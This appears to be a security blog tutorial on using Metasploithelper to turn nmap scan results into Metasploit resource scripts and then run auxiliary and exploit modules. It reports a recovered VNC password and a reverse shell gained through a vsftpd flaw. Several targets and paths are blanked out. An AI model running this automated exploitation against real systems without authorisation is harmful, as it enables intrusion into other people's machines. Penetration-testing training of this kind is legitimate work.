Automating Exploitation of Remote PC using Metasploithelper

Metasploit contains port-based modules as well as URI-based modules (web servers). This tool bridges Nmap XML file with Metasploit and generates a resource script containing matching Metasploit modules. that you can run against the target servers.

first clone Metasploithelper repository from github, to do so type:

git clone

Now open the terminal and scan the target with nmap and store the results in a xml file.

Here the target is and the results are stored in 126.xml file.

nmap -sV -oX 126.xml

Now enter in the metsploithelper folder and open the with leafpad

Now change the path in above file to the “/usr/share/metasploit-framework/modules/”

Now run metasploitHelper giving output of the nmap stored above as an input.

python -i 126.xml

The above command will generate two rc scripts namely runAux.rc and runExp.rc.

runAux.rc contains the auxiliary modules and runExp.rc contains all the exploit modules .

Now give those scripts as input to the msfconsole .first we will give runAux.rc for using auxiliary modules by command.

msfconsole  -r  runAux.rc

Now ,if a auxiliary module is successful it will show us the result, like in my case it found the vnc login password of the target machine.

Now we will run thr runExp.rc script to run all the exploits found by the metasploitHelper.

 msfconsole -r runExp.rc

Now if there is a exploitable vulnerability in target machine it will exploit it and give the shell or meterpreter depending upon the exploit. like in my case ,it exploits the vsftpd vulnerability to get a reverse shell. Now we can run any command depending on the OS.

Author: Himanshu Gupta is a Information Security Researcher | Technical writer. You can follow him on LinkedIn .

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